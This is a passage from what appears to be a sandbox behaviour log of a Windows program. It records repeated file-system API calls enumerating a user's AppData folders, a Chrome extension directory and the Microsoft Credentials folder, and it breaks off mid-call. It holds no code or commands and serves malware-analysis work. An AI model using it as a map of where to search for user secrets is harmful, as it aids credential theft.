hFindFile=0x6fd8a40) returned 1 [0069.942] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th", lpFilePart=0x0) returned 0x7d [0069.942] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.942] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.081] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xb2bbc2d0, ftLastAccessTime.dwHighDateTime=0x1d3060f, ftLastWriteTime.dwLowDateTime=0xb2bbc2d0, ftLastWriteTime.dwHighDateTime=0x1d3060f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0070.081] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8a40 [0070.081] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.082] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.082] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.082] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.082] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.082] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.082] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.082] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.082] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.082] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.082] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0070.083] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0070.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0070.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x35 [0070.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.084] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Credentials" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\credentials"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x35 [0070.084] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.084] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.084] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.084] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x35 [0070.084] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.085] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.085] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.085] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.085] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x36 [0070.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.085] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Event Viewer" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\event viewer"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x74f757c0, ftCreationTime.dwHighDateTime=0x1d2fab1, ftLastAccessTime.dwLowDateTime=0x74f757c0, ftLastAccessTime.dwHighDateTime=0x1d2fab1, ftLastWriteTime.dwLowDateTime=0x74f757c0, ftLastWriteTime.dwHighDateTime=0x1d2fab1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.085] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x36 [0070.086] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Event Viewer\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.086] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.086] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.086] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.086] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x36 [0070.086] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Event Viewer\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.086] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.086] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.086] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.086] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x2f [0070.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.087] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa81d4450, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.087] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x2f [0070.087] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.088] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.088] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.088] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.088] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.088] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.088] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.089] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe67c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0070.090] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpFilePart=0x0) returned 0x40 [0070.090] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe67c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0070.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0070.091] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds\\microsoft feeds~"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa81d4450, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0070.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.091] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe664, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0070.092] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpFilePart=0x0) returned 0x40 [0070.092] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe664, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0070.092] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x6cfe65c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0070.094] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.094] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.095] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.095] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.095] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.095] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.095] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.096] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe664, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0070.096] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpFilePart=0x0) returned 0x40 [0070.096] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe664, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0070.097] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x6cfe65c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0070.098] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.099] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.099] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.099] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.099] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.099] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.099] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.100] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe67c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0070.100] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x57 [0070.100] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe67c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0070.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0070.101] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0070.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.101] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe664, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0070.102] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x57 [0070.102] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe664, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0070.102] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe65c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0070.104] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.104] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.104] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.104] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.104] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.105] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe608, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0070.105] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe608, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0070.106] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpFilePart=0x0) returned 0x62 [0070.106] GetLongPathNameW (in: 